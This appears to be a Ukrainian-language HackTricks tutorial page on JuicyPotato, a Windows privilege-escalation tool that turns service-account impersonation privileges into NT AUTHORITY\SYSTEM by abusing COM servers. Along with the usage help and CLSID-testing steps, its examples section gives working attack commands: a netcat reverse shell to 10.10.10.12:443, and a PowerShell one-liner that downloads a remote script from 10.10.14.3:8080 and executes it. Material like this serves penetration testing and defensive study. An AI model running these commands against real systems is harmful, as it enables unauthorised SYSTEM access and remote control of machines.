JuicyPotato

Reading time: 6 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

[!WARNING] > JuicyPotato не працює на Windows Server 2019 та Windows 10 версії 1809 і новіших. Однак, PrintSpoofer, RoguePotato, SharpEfsPotato можуть бути використані для отримання тих же привілеїв і доступу на рівні NT AUTHORITY\SYSTEM. Перевірте:

RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato

Juicy Potato (зловживання золотими привілеями)

Солодка версія RottenPotatoNG, з трохи соку, тобто інший інструмент підвищення локальних привілеїв, з облікових записів служб Windows до NT AUTHORITY\SYSTEM

Ви можете завантажити juicypotato з https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts

Резюме

З читання juicy-potato:

RottenPotatoNG та його варіанти використовують ланцюг підвищення привілеїв на основі BITS сервісу, що має MiTM слухача на 127.0.0.1:6666, і коли у вас є привілеї SeImpersonate або SeAssignPrimaryToken. Під час огляду збірки Windows ми виявили налаштування, де BITS був навмисно вимкнений, а порт 6666 був зайнятий.

Ми вирішили озброїти RottenPotatoNG: Скажіть привіт Juicy Potato.

Для теорії дивіться Rotten Potato - Підвищення привілеїв з облікових записів служб до SYSTEM і слідкуйте за ланцюгом посилань і посилань.

Ми виявили, що, крім BITS, є кілька COM-серверів, які ми можемо зловживати. Вони просто повинні:

  1. бути інстанційованими поточним користувачем, зазвичай "службовим користувачем", який має привілеї імперсонації
  2. реалізовувати інтерфейс IMarshal
  3. працювати як підвищений користувач (SYSTEM, Адміністратор, …)

Після деяких тестувань ми отримали та протестували розширений список цікавих CLSID на кількох версіях Windows.

Соковиті деталі

JuicyPotato дозволяє вам:

  • Цільовий CLSID виберіть будь-який CLSID, який ви хочете. Тут ви можете знайти список, організований за ОС.
  • COM порт прослуховування визначте COM порт прослуховування, який ви віддаєте перевагу (замість зашитого 6666)
  • COM IP-адреса прослуховування прив'яжіть сервер до будь-якої IP-адреси
  • Режим створення процесу в залежності від привілеїв імперсонованого користувача ви можете вибрати з:
  • CreateProcessWithToken (потрібен SeImpersonate)
  • CreateProcessAsUser (потрібен SeAssignPrimaryToken)
  • обидва
  • Процес для запуску запустіть виконуваний файл або скрипт, якщо експлуатація успішна
  • Аргумент процесу налаштуйте аргументи запущеного процесу
  • Адреса RPC-сервера для прихованого підходу ви можете аутентифікуватися на зовнішньому RPC-сервері
  • Порт RPC-сервера корисно, якщо ви хочете аутентифікуватися на зовнішньому сервері, а брандмауер блокує порт 135
  • РЕЖИМ ТЕСТУ в основному для тестування, тобто тестування CLSID. Він створює DCOM і виводить користувача токена. Дивіться тут для тестування

Використання

T:\>JuicyPotato.exe
JuicyPotato v0.1

Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port


Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)

Остаточні думки

З juicy-potato Readme:

Якщо у користувача є привілеї SeImpersonate або SeAssignPrimaryToken, то ви SYSTEM.

Майже неможливо запобігти зловживанню всіма цими COM-серверами. Ви можете подумати про зміну дозволів цих об'єктів через DCOMCNFG, але удачі, це буде складно.

Фактичне рішення полягає в захисті чутливих облікових записів та програм, які працюють під обліковими записами * SERVICE. Зупинка DCOM безумовно завадить цій експлуатації, але може мати серйозний вплив на основну ОС.

З: http://ohpe.it/juicy-potato/

Приклади

Примітка: Відвідайте цю сторінку для списку CLSID, які можна спробувати.

Отримати зворотний шел nc.exe

c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *

Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM

[+] CreateProcessWithTokenW OK

c:\Users\Public>

Powershell rev

.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *

Запустіть новий CMD (якщо у вас є доступ до RDP)

Проблеми з CLSID

Часто стандартний CLSID, який використовує JuicyPotato, не працює і експлойт зазнає невдачі. Зазвичай, потрібно кілька спроб, щоб знайти працюючий CLSID. Щоб отримати список CLSID для конкретної операційної системи, вам слід відвідати цю сторінку:

Windows CLSID | juicy-potato

Перевірка CLSID

Спочатку вам знадобляться деякі виконувані файли, окрім juicypotato.exe.

Завантажте Join-Object.ps1 і завантажте його у вашу PS сесію, а також завантажте та виконайте GetCLSID.ps1. Цей скрипт створить список можливих CLSID для тестування.

Потім завантажте test_clsid.bat (змініть шлях до списку CLSID та до виконуваного файлу juicypotato) і виконайте його. Він почне пробувати кожен CLSID, і коли номер порту зміниться, це означатиме, що CLSID спрацював.

Перевірте працюючі CLSID за допомогою параметра -c

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks